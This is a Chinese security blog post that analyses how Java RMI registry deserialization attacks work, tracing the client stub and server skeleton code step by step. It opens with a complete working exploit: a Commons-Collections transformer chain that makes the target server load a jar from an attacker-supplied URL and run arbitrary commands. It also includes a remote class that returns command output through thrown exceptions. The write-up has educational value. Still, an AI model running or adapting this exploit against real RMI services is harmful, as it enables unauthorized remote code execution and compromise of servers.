JAVA RMI 反序列化流程原理分析
2023-12-28 12:1:11 Author: 白帽子左一(查看原文) 阅读量:7 收藏

扫码领资料

获网安教程

这篇文章主要用于学习 RMI 的反序列化利用的流程原理,在网上搜了一大堆的 RMI 利用资料,大多仅仅是讲的利用方法,没有找到到底为啥能这么用,即使有些涉及到一些原理的文章,也写得过于高端了....看不大懂,只能自己去跟一根整个利用流程,请各位大佬轻喷....


网上流传的基于报错回显的 payload

先抛出 rmi 反序列化的exp

本地:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

import java.net.URLClassLoader;

import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import java.util.HashMap;
import java.util.Map;

public class RMIexploit {
public static Constructor<?> getFirstCtor(final String name)
throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
ctor.setAccessible(true);

return ctor;
}

public static void main(String[] args) throws Exception {
if (args.length < 4) {
System.out.println(
" Usage: java -jar RMIexploit.jar ip port jarfile command");
System.out.println(
" Example: java -jar RMIexploit.jar 123.123.123.123 1099 http://1.1.1.1.1/ErrorBaseExec.jar \"ls -l\"");

return;
}

String ip = args[0];
int port = Integer.parseInt(args[1]);
String remotejar = args[2];
String command = args[3];
final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

try {
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { java.net.URL[].class } }),
new InvokerTransformer("newInstance",
new Class[] { Object[].class },
new Object[] {
new Object[] {
new java.net.URL[] { new java.net.URL(remotejar) }
}
}),
new InvokerTransformer("loadClass",
new Class[] { String.class },
new Object[] { "exploit.ErrorBaseExec" }),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "do_exec", new Class[] { String.class } }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new String[] { command } })
};
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "value");

Map outerMap = TransformedMap.decorate(innerMap, null,
transformedChain);
Class cl = Class.forName(
"sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);

Object instance = ctor.newInstance(Target.class, outerMap);
Registry registry = LocateRegistry.getRegistry(ip, port);
InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS)
.newInstance(Target.class,
outerMap);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, h));
registry.bind("pwned", r);
} catch (Exception e) {
try {
System.out.print(e.getCause().getCause().getCause().getMessage());
} catch (Exception ee) {
throw e;
}
}
}
}

远程:

package exploit;

import java.io.*;

public class ErrorBaseExec {
public static byte[] readBytes(InputStream in) throws IOException {
BufferedInputStream bufin = new BufferedInputStream(in);
int buffSize = 1024;
ByteArrayOutputStream out = new ByteArrayOutputStream(buffSize);
byte[] temp = new byte[buffSize];
int size = 0;

while ((size = bufin.read(temp)) != -1) {
out.write(temp, 0, size);
}

bufin.close();

byte[] content = out.toByteArray();

return content;
}

public static void do_exec(String cmd) throws Exception {

final Process p = Runtime.getRuntime().exec(cmd);
final byte[] stderr = readBytes(p.getErrorStream());
final byte[] stdout = readBytes(p.getInputStream());
final int exitValue = p.waitFor();

if (exitValue == 0) {
throw new Exception("-----------------\r\n" + (new String(stdout)) + "-----------------\r\n");
} else {
throw new Exception("-----------------\r\n" + (new String(stderr)) + "-----------------\r\n");
}

}

public static void main(final String[] args) throws Exception {
do_exec("cmd /c dir");
}
}

首先就是,本地的可以直接在本地生成jar包使用,远程的是放在vps上等可以访问到的地方

这个exp其实很简单,仅仅是在 commons-collections 库反序列化exp的基础上,加了一点 rmi 的内容

整个exp只需要关注如下图的内容:

registry 是从远程主机上获取到的一个注册表,然后他将 AnnotationInvocationHandler 的实例生成了一个 Remote 对象,最后在 registry 中绑定了一个新的远程服务( 这里也可以使用 rebind )

然后攻击就成功了,但是注意,这里是客户端去实施攻击的,服务端经过反序列化执行了恶意代码

rmi 的流程原理

先看一张图

如上图,攻击方就是 RMI Client,能够猜到,反序列化的是 RMI Server
这里就很奇怪了,明明是 RMI Server 进行的 bind 或者是 rebind 操作,为啥 exp 里作为一个 RMI Client 也可以进行 bind 或者是 rebind ?

在网上搜了搜,都是在 RMI Server 里进行 bind 或是 rebind 的例子
(注:这里说的 Server 意思是指的创建了本机 RMI 注册表的机器)
(PS:或许我该去查查官方文档的 - - )

没找到相关资料,就只能硬怼了

提前放出整个反序列化报错回显的流程:

首先,RMI server 创建、获取 Registry 的方式如下:

这里的 createRegistry 返回的是一个 RegistryImpl,好,先放着

我们再来看下 RMI Client 获取 Registry 的方式如下:

这里返回的是一个 RegistryImpl_Stub
那么我又去看了一下,这两个类的 bind 函数,其流程完全不同

RegistryImpl 如下:

这里的 bindings 是一个 hashtable ,只是将 Remote 对象放进去就完了

RegistryImpl 就不用管了,是创建 rmi 注册表的本机里的操作,我们不可控的,继续跟入 RegistryImpl_Stub 里

RMI Client 的 RegistryImpl_Stub

RegistryImpl_Stub 如下:


var3 是一个 StreamRemoteCall 对象,其 getOutputStream 返回的是一个 ConnectionOutputStream 对象,那么这里从 var4 的操作来看,不就是开始进行远程通信了嘛.....

注意这里的 opnum 参数 !

我们可以思考一下,这里既然已经开始通信,那么对应的服务端肯定也在开始根据某些规则进行某些行为,这是在 bind 函数中的,那么对应的服务器端也会执行 bind 的操作,服务端待会儿再说,有一个问题就是,在上图中看见的仅仅是将需要 bind 的 Remote 对象发过去了,那服务器怎么知道我是 bind 还是 unbind 的?

这里就退到 newCall 的时候,跟进去看看

在得到 var6 之前,newConnection 函数运行的流程中就已经开始了与服务器的通信
注意到 var3 、 var4 都是直接传进 StreamRemoteCall 的构造函数,继续跟进它的构造函数

最开始是写入了 80 (其实在此之前还有一些信息的发送,但是我们并不用太关心),接着getOutputStream 就是给 this.out 赋值了 ConnectionOutputStream 对象,是可以直接发送数据的,然后它将 var3 、 var4 都提前发了过去,后面才向服务端发送的是需要 bind 的 name 和 Remote 对象

回到 bind 函数中,这时候还剩下 invoke 和 done 函数没跑完

先看看 invoke

var1 就是刚刚 new 出来的 StreamRemoteCall ,跟进去看 executeCall
由于函数体太长,只截取关键部分

这里能看出来是在接受服务端的返回信息,var1 是读取了一个 byte,那么返回值为 1 应该是 success,因为啥也不返回。值为2的时候比较奇怪,反序列化后居然判断是否是一个异常,emmm,看来接受的应该是服务端的异常,default 的情况应该是返回值错误

现在回想 ErrorBaseExec 这个远程利用类里的代码:

都是将结果直接抛出异常的形式带回,那么结合着之前所述,应该在返回值为 2 的时候被接受了,那么跟进 exceptionReceivedFromServer 看看

最后还是将异常抛出了,这个来自服务端的异常最后将会被客户端的 bind 函数打印出来,所以这就理解了远程利用代码里,会直接将命令执行的结果以异常的形式抛出,因为这样就可以获得命令回显....

bind 函数中调用的 done 函数就不展示了,仅仅是清理缓冲区、释放连接啥的

RMI Server 的 RegistryImpl

目前仅仅是分析了 payload 从客户端发送到服务端,以及收到了服务端的返回信息

该去看看服务端,是如何接收到客户端的 payload 的,如何进行信息的返回

rmi 服务端的设计更复杂一些,之前一直在反编译jdk7_079的class文件,但是这样很不好跟踪,所以索性直接看 jdk 源码

服务端就必须得从创建 rmi 注册表开始跟了,如下图:

前面讲过,这里返回的是一个 RegistryImpl ,跟进构造函数

var1 代表的是选择的开放端口,接着将 LiveRef 装进 UnicastServerRef 并带入了 setup 函数中,跟进去

将自身(RegistryImpl)传入了 UnicastServerRef 的 exportObject中,跟进去

var5 是一个根据 var4 的类名生成的一个 RemoteStub ,因为传入的 var1 实际上是 RegistryImpl ,那么 var5 就是 RegistryImpl_Stub ,所以上图中的 if 条件是满足的

Skeleton 也是 rmi 中非常重要的一个模块

上图中的 setSkelenton 就是根据 var1 的类名实例化一个 Skeleton,那么生成的就是 RegistryImpl_Skel。 实例化的 Target 中包含了所有重要的事物,包含了新生成的 RegistryImpl,这将是处理 RMI Client 通信请求的具体操作类。函数流程中,接着调用了之前实例化的 LiveRef 中 exportObject 函数

这里的 ep 是一个根据指定开放端口实例化的 TCPEndpoint ,继续跟,期间跟了好几个 exportObject 函数,最终来到了 TCPTransport 类中

看见 listen ,感觉是开始监听端口什么的了,跟进去看看

跑起了 TCPTransport.AcceptLoop 的线程,看看 run

跟进 executeAcceptLoop

如图,服务端接收到连接后,实例化 ConnectionHandler 并跑起线程

看看 ConnectionHandler 的 run

继续跑 run0,跟进去
函数体太长,只截取关键部分

跟进 handleMessages 函数

我们只需要关注 80 的时候,因为之前客户端在实例化 StreamRemoteCall 过程中,写入的就是 80

调用了 serviceCall ,并传入了一个新的 StreamRemoteCall ,跟进去看看

这里我们跟着 var1 的流程就好

调用了 UnicastServerRef 的 dispatch 函数,跟进去

盯着 var2 不放,可见之前客户端通信的内容,正在一步步的控制服务端的执行流程

回忆一下,客户端的通信内容如下:

先发过去的是 int 0,然后就是一个 Long

那么对应的,var3 应该为 0,跟入 oldDispatch

var3 、 var4 分别是之前的 int 0 和一个 Long,这里的 skel 就是之前实例化的 RegistryImpl_Skel ,跟进它的 dispatch 函数

var3 == 0,然后直接 var11 就反序列化获取了 name 和 Remote 对象,这里的 case 0 仅仅是 bind 的对应的操作码,那么还有些其他操作对应的操作码,如下:

  • 0 -> bind

  • 1 -> list

  • 2 -> lookup

  • 3 -> rebind

  • 4 -> unbind

此处的 var6 变量就是之前 RMI Server 新生成的 RegistryImpl 对象,所以在以上 5 中操作过程中,其实际上都是操作的 RMI Server 的 RegistryImpl

然后因为在 payload 里命令执行完成后,直接抛出的异常并带入命令执行结果,所以在 Proxy 成员 invocationHandler 反序列化的过程中(也就是在 readObject 的过程中),直接抛错了,并带回 RMI 客户端,形成利用报错回显命令执行结果

我们可以继续看看抛出异常后的情况
被 IOException 抓住后,继续抛出 UnmarshalException,跳回 oldDespatch 中
在 oldDespatch 中的异常处理流程如下图:

先获取了 ObjectOuput 然后用 ServerException 包装一下,最后将异常反馈给 RMI Client
第一个红框里, getResultStrem 带入的参数是 false ,跟进去看看

var1 为 false ,进入 else 条件,在传送回 Client 异常前,写回一个 2
这里就和之前在 RMI Client 中分析的吻合了,如果 Client 中得到的是 2 的返回,那么回接受来自 Server 的异常并将其打印


整个流程已经全部梳理完,有啥叙述不清、错误的地方欢迎指出~

参考资料:
http://www.freebuf.com/vuls/126499.html
https://blog.csdn.net/sinat_34596644/article/details/52599688
https://blog.csdn.net/guyuealian/article/details/51992182
http://blog.nsfocus.net/java-deserialization-vulnerability-overlooked-mass-destruction/
https://blog.csdn.net/lovejj1994/article/details/78080124

来源: https://xz.aliyun.com/t/2223

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

@
学习更多渗透技能!体验靶场实战练习

hack视频资料及工具

(部分展示)

往期推荐

【精选】SRC快速入门+上分小秘籍+实战指南

爬取免费代理,拥有自己的代理池

漏洞挖掘|密码找回中的套路

渗透测试岗位面试题(重点:渗透思路)

漏洞挖掘 | 通用型漏洞挖掘思路技巧

干货|列了几种均能过安全狗的方法!

一名大学生的黑客成长史到入狱的自述

攻防演练|红队手段之将蓝队逼到关站!

巧用FOFA挖到你的第一个漏洞

看到这里了,点个“赞”、“再看”吧

文章来源: http://mp.weixin.qq.com/s?__biz=MzI4NTcxMjQ1MA==&mid=2247604303&idx=1&sn=c8def3172c0912ff811bbc73d3a84847&chksm=eabb76d1f72e6755e35fe286b5d589ac86d95352d1d4de17384502a251f54af51391af0fea3e&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh